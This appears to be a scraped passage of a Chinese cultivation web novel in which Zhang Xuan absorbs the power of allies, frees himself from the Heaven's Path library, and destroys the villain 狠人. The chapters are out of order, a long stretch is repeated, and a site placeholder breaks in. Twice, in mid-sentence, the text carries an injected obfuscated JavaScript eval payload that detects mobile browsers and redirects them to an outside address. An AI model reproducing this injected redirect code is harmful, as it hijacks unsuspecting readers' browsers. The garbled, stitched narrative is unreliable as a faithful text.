盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零二章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811773|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 